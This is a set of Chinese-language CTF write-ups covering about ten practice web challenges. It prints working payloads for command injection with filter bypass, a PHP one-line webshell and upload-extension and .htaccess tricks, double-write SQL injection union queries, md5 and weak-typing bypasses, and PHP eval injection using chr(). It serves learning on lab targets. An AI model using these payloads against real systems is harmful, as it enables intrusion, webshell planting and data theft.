[GXYCTF2019]Ping Ping Ping
使用;
来拼接多条命令
输入:?ip=127.0.0.1;ls
发现有flag.php
?ip=127.0.0.1;cat index.php
应该是过滤了空格,可以用$IFS$1
绕过
读取到index.php,F12看过滤了什么,过滤的很干净
注意这里:preg_match("/.*f.*l.*a.*g.*/", $ip)
这个的意思是匹配到按flag这个顺序的所有字符
所以我们不按顺序就好了:
payload:/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
[极客大挑战 2019]Upload
上传一句话木马,改包,直接两个地方一起改
提示不能有<?这个标签,尝试这样绕过<script language="php">
还是不行
把文件后缀用phtml绕过,再尝试这个GIF <script language="php">eval($_POST[1])</script>
蚁剑连接,在根目录发现flag
[极客大挑战 2019]BabySQL
万能密码输入,发现or不见了,尝试双写oorr
,成功
盲猜三个字段,直接查回显,发现被过滤,继续双写
1' ununionion selselectect 1,2,3 #
果然!!!
接下来就是组合拳了
查库名,geek
1' ununionion selselectect 1,database(),3 #
查表名,发现过滤掉了where和from
所以再双写一波from和where,发现or过滤了导致information也出错了
最后获得表名b4bsql
1' ununionion selselectect 1,group_concat(table_name),3 frofromm infoorrmation_schema.tables whwhereere table_schema=database()#
查询字段
1' ununionion selselectect 1,group_concat(column_name),3 frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'#
查询记录发现居然没有flag,猜想估计不在这个库里面,查询一下所有的库名
1' ununionion selselectect 1,group_concat(table_schema),3 frofromm infoorrmation_schema.tables#
明显是这个ctf库
最后查询记录:
1' ununionion selselectect 1,group_concat(flag),3 frofromm ctf.Flag#
[ACTF2020 新生赛]Upload
有js阻挠,直接关闭js就行了,上传一句话木马
开蚁剑拿到flag
[极客大挑战 2019]BuyFlag
打开pay页面,应该是对身份信息有验证
F12看到了密码的判断条件
抓包改请求方式为post,他说数字太长了,那就用科学计数法10e10
拿到flag
[ACTF2020 新生赛]BackupFile
一看到备份文件我就啪的一下输入了一个index.php.bak,没想到真整出来了哈哈哈,扫描都免了
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
涉及到一个函数intval()
,作用是获取变量的整数值
考察php的弱类型
payload:
?key=123
[BJDCTF2020]Easy MD5
response里面有hint,给出了sql查询语句
可以发现md5函数第二个参数为true的时候是原始16字符二进制格式
有sql语句就肯定逃不了sql注入,就是在md5加密后构造出一个or
来使判断为真
看别的wp里有现成的捡:
有这两个常见的
129581926211651571912466741651878684928
ffifdyop
如果要究其源头就是写脚本来跑,为了方便可以直接写php的脚本来跑,我没写,大概思路就是让MD5加密后的密文匹配or这个字符串
第一层payload:ffifdyop
第二层
md5碰撞:?a=s878926199a&b=s155964671a
第三层:
三个等号,数组绕过
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
payload:param1[]=1¶m2[]=2
flag得到
[RoarCTF 2019]Easy Calc
源码提示访问calc.php,发现正则过滤
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
不能给num传字母参数,绕过waf的方法是在参数名前面加上空格,在服务器处理url的时候就会自己删去空格
参考
接下来就目录查询吗,/被过滤,所以要用chr绕过
payload:calc.php? num=print_r(scandir(chr(47)));
读取flag
payload:? num=file_get_contents(chr(47).f1agg)
[HCTF 2018]admin
随便注册一个登陆进去,发现源代码里面说
所以就是要伪造admin登陆,一开始我看到可以写post,就以为是存储型xss,但是试过了没有用,继续检索,发现了github上的源码
不会做。。。
[MRCTF2020]你传你🐎呢
名字够祖安。。
经过burp测试,发现只有后缀为图片格式可以上传
这里学到了一个新的操作
.htaccess
文件
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,
即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,
以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
当.htaccess文件这样写的时候
意思就是把其他类型文件当php解析
SetHandler application/x-httpd-php
也可以这样写
意思是把jpg格式当php解析
AddType application/x-httpd-php .jpg
注意,上传.htaccess的时候filename只能是.htaccess
连接蚁剑拿到flag
[GXYCTF2019]BabySQli
随便登陆一次,看到源代码有一段编码的字符,试了一下是先base32再base64
得到sql语句
select * from user where username = '$name'
过滤了or,但是OR没有
尝试后发现,只有判断用户名为admin的时候才有密码的判断,不然都是wrong user!
查询字段数,发现只有三个字段
admin' ORder by 4#
进行联合注入:admin' union select 1,2,3#
,回显是wrong pass
看了wp后,学到一些新的操作
猜测:
猜测题目会将原密码值md5加密后插入数据库
在进行登录的时候会进行逻辑判断:当前输入的密码进行md5加密后是否与数据库里面的相等,如果相等则登陆
由于我们用联合注入的时候,是绕过了md5加密的,所以我们需要把加密后的密文当成密码进行注入
联合注入会新建一条数据,如果引号前还是admin,这存在于数据库的数据就会直接和pass匹配,由于只能有admin来登陆,所以我们可以构造一条记录,name为admin,pass为md5加密后的123,这样就可以了
0' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
密码输入123,这时候就会拿前面这个md5的密文去和123进行加密后的密文匹配,相等则通过